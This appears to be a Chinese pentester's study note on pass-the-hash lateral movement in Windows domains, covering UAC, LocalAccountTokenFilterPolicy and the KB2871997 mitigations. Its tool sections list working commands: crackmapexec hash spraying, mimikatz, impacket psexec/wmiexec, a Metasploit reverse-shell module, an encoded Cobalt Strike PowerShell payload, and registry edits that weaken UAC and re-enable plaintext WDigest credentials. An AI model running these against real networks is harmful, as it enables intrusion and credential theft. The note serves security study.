顺着《域渗透攻防指南》4.9的总结记录下。
0x00 PTH简单说明
PTH在内网渗透中用于横向移动。由于NTLM && Kerberos都是采用用户密码的NTLM Hash,所以我们不需要非得拿用户明文口令,拿到hash一样可以。
拿到hash后,可以撞hash,找到相同口令的机子,也可以利用135或445端口pth,横向移动到对应密码的其它主机上。
而且>=windows server 2012的机子,默认都不会在内存中存储明文密码,所以pth就显得尤为重要。
0x01 本地账户和域账户 pth 的区别
这个问题最早是在看这篇文章看到的:PTH/横向的时候UAC的问题及解决 - zpchcbd - 博客园 (cnblogs.com)
刚好书上讲的也比较详细,对应都有实验截图,大致总结下。
1. 实验:
用了四个账户:
- public_user:本地普通用户
- test:本地管理员用户
- administrator:本地管理员组用户
- intranet\user:本地管理员组的域用户
实验发现:
本地普通用户和本地管理员组用户test的PTH失败;
本地管理员组和本地管理员组的域用户PTH成功。
2. 原因:UAC
这里不详细展开UAC的介绍。只需要知道:
- 内置本地管理员账户administrator在远程连接时,会获得完整的管理员凭证。
- 而本地管理员组的非RID500账户,得到的是删除了管理员凭证的token。
- UAC对本地管理员组的域用户无影响,会获得完整的管理员凭证。
3.FilterAdministratorToken
MS官方文档的注册表值介绍:
关于Admin Approval Mode
:管理员审批模式。
开启:即需要管理员特权运行的程序,需要得到用户的批准才能够获得提升权限。
关闭:内置账户Adminstrator拥有完全的权限管理所有的应用程序。
回到这个Filter,默认情况下是关闭的(值为0)。也就是说用内置管理员用户远程连接时不需要用户批准,就能够获得一个完全的令牌。
如果我们把值改为1,那么内置的本地管理员Administrator也无法PTH了,但是本地管理员组的域用户不受影响。
4. LocalAccountTokenFilterPolicy
上面提的是对于内置管理员的策略,现在看非RID500的本地管理员账户的策略。
MS给了 To disable UAC remote restrictions
的方法:
将LocalAccountTokenFilterPolicy
注册表的值改为1即可。
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
修改后,只要在本地管理员组内,就能PTH远程连接了。
5. 总结
本地账户:
- Win VISTA以前,本地管理员组内即可。
- 以后,默认只有内置管理员administrator才能PTH。
域用户:
不受UAC影响。
- 对于普通域内主机:该域主机本地管理员组内普通域用户即可;
- 对于域控:域管理员组的用户。
0x02 哈希碰撞(工具)
内网中很多主机采用的相同密码,所以批量撞hash能扩大攻击面。
记录一些工具&&使用。
1. crackmapexec
kali自带。
批量撞网段:
crackmapexec 192.168.72.0/24 -u administrator -H LM_HASH:NTLM_HASH
2. MSF
use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set rhosts 192.168.72.0/24
set smuser administrator
set smbpass LM_HASH:NTLM_HASH
ps:貌似实战应该用正向监听的payload。
0x03 PTH工具
书上只写了3个,我就把以前总结的搬上来了。
1. mimikatz
域:
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:intranet.com /ntlm:ntlm哈希" "exit"
dir \\dc.intranet.com\c$
workgroup:
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:目标机器IP /ntlm:ntlm哈希" "exit"
注意,pth时可以直接在mimikatz中起命令(/run:cmd.exe
)。比如pth后用mstsc rdp
privilege::debug
sekurlsa::pth /user:administrator /domain:intranet.com /ntlm:ab89b1295e69d353dd7614c7a3a80cec "/run:mstsc.exe /restrictedadmin"
2. psexec
impacket的psexec.py:
python psexec.py administrator@10.73.147.29 -hashes 624aac413795cdc1a5c7b1e00f780017:852a844adfce18f66009b4f14e0a98de
PsExec.exe
看的说是impacket包里面的,不知道PSTools里面的行不行。
psexec.exe admin@10.73.147.30 -hashes 624aac413795cdc1a5c7b1e00f780017:852a844adfce18f66009b4f14e0a98de
3. wmiexec
也是impacket里的wmiexec.py
python wmiexec.py -hashes 624aac413795cdc1a5c7b1e00f780017:852a844adfce18f66009b4f14e0a98de administrator@10.73.147.29
4. crackmapexec
(✨)
很强大的一个pth工具,kali自带。
当然,一般用的话都得proxychains代到内网。
crackmapexec smb 172.22.1.2 -u Administrator -H 10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
批量扫smb
crackmapexec smb 192.168.0.0/24 -t 255
可以批量pth。
crackmapexec smb 10.73.147.90 10.73.147.88 -u administrator -H 852a844adfce18f66009b4f14e0a98de -x "whoami"
批量CS上线
把cs中的ps payload粘过来
crackmapexec smb 10.211.55.51 10.211.55.52 -u administrator -H 852a844adfce18f66009b4f14e0a98de -x "powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0..."
5. CobalStrike
这就太方便了。。。
拿到一个主机hash后,可以用wmic/psexec横向。
View Target添加目标:
选择 横向移动=>psexec
选择当前控制的机器为session,listener选择smb正向连接,凭证用前面拿到的。
Lauch即可成功上线。
6. MSF
exploit/windows/smb/psexec
use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set rhosts 192.168.72.138
set smbuser admin
set smbpass LM_HASH:NTLM_HASH
0x04 KB2871997
补丁带来的影响
总结记录下。
这个补丁是MS为了缓解PTH的措施。
带来了三个新的安全保护机制:
Protected Users
组的支持Restricted Admin RDP
模式远程客户端支持Pass The Hash
增强保护。
1. Protected Users
组的支持
win2012 server R2开始,引入了一个全局安全组——Protect Users。
对于这个全局安全组内的用户有额外的保护:
- 组内用户只能使用Kerberos协议认证。
- Kerberos协议只能AES加密类型进行pre-auth认证(加密时间戳)。一定程度缓解了AS_REPRoasting。
- 组内用户不能被委派。
带来的影响就是,无法PTH了,因为Kerberos协议无法PTH(强制预认证采用AES)。
2. Restricted Admin RDP
模式远程客户端支持
Restricted Admin RDP
模式
Restricted Admin RDP
模式增加了安全性以保护用户的凭据,但是此模式对Remote Desktop Users组内的用户不可用。(:?)
在Restricted Admin RDP
模式之前,RDP是必须要提供明文口令的。以这种方式登录到目标主机会将用户的凭据存储在目标主机的内存中,存在被盗的风险。
而Restricted Admin RDP
模式后,可以使用密码Hash来RDP登录,防止了明文口令存储在目标主机中。
要求必须是本地管理员用户。
这种看似加强了安全防护(方式了明文口令被盗),但是无疑给了PTH的隐患。。。
本地管理员组内的非RID500用户也可以pth rdp登录。
How to pth rdp?
最常用的就是mimikatz,最早也是在mimikatz中接触到的 restrictedadmin
命令:
privilege::debug
sekurlsa::pth /user:win7 /domain:对应机子的IP /ntlm:NTLM_HASH "/run:mstsc.exe /restrictedadmin"
实验发现只要是本地管理员组的用户均可pth rdp登录,而普通本地用户则没有权限。
3. Pass The Hash
增强保护
三个增强保护:
-
注销时清除凭据。
-
在LSASS内存中删除明文凭据。
srds,可以修改
UseLogonCredential
注册表项来绕过补丁:reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
这样,即使安了补丁,修改注册表项后还是能抓到明文密码。
-
引入新的SID。
两个:
- LOCAL_ACCOUNT (S-1-5-113):所有本地账户继承此SID。
- LOCAL_ACCOUNT_AND_MEMBER_OF_ADMINISTRATORS_GROUP(S-1-5-114):所有管理员组内的本地账户继承此SID。
我的理解:引入这两个SID后,配置组策略时更加方便。比如防止本地账户远程连接主机,或者防止本地管理员组的非RID500账户pth远程连接,就可以用这两个SID来配置组策略。
4. KB2871997
补丁总结
只能是缓解PTH。
对于本地工作组:
RID500不受影响,修改LocalAccountTokenFilterPolicy
为1后,非RID的本地管理员组内成员也可以pth。
对于域环境:
ProtectedUsers全局安全组确实能够防范,但是需要管理员添加。对于非ProtecedUsers组的成员仍可以pth。